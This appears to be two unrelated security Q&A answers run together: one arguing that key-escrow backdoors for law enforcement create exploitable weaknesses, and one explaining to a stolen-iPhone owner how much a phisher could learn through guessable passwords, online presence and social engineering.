  If we assume that the private key of the base station is secure

Your base assumption is the one that requires challenge. That there is a key is the problem.

key handling
key misuse
key leakage
key strength
key protection

Each one of these elements needs to be secured for the key to be secure. And there are a lot of moving parts there and a lot of ways for people to cause weaknesses and ways for malicious actors to manipulate controls to their advantage.

Even if we perfectly trusted all law enforcement not to be malicious, ever (a sensitive topic on its own, but of course, impossible) then there are still lots of ways for weaknesses to creep in or for trusted people to be manipulated.

Once the door is there, it will become the intense focus of those with time, resources, and strong desire wanting access. How resilient will those with legitimate access be against such an onslaught? How perfect will those people be in engaging in the established procedures even without external pressures?

Once you cut a hole in a wall, it becomes a point of weakness. The strongest lock will not compensate for hinges that can be broken.


How much information, at maximum, can a phisher/scammer obtain? My iPhone was recently stolen and since then I've been receiving messages and emails saying that 'a sound was played on your iPhone' or 'your iPhone was found. Visit here to confirm your location'. The numbers and email addresses are clearly fake.

I was wondering what can he/she obtain, except from my Apple ID, from me? How much can he/she do?

It depends on two main factors:

The skill of the Phisher/Social Engineer
The Gullibility of the victim (How much he/she is convinced by the Phisher)

It can range from basic information, such as your location, phone number and full name to your family's details and bank credentials.

Then you have to ask yourself, how much does Google know about you?

The main vulnerability in a human (apart from stupidity) is online presence...
Do you have a Facebook Account? Clearly this Phisher knows your Email account, is this linked to your Facebook, Twitter or LinkedIn account?

Does your password contain a date-of-birth, family/pet name or 13375P34K?

Then we reach your iPhone... Is it password protected? Number or Phrase?

If it's a number, is it 123, 1234, 12345, 15790, 78982, 1278?

If it's a phrase, is it P455W0RD, home, passwOrd, Password, QwErTy?

If the attacker does in-fact have your iPhone, and easily guesses your password, then everything you have ever connected to with that device is in danger...

Humans are creatures of habit, and always will be. Once an attacker is in your life, he will not stop!

This Phisher can Dox you right there and then! With the right amount of luck & skill...

Full Name
Address
Phone Number
Family names
Family accounts
Family details
Bank details
Other website accounts
Many, many more...

Then we can think about what happens when they've acquired enough information about your bank, the man sat at his desk in his boring office will just be as gullible as the next, if he's given the correct information, he will let anyone into your account.

Remember that Social Engineering is a very powerful weapon, and due to current media control and educational failure, humans are easier to hack than computers!

Happy thoughts! <3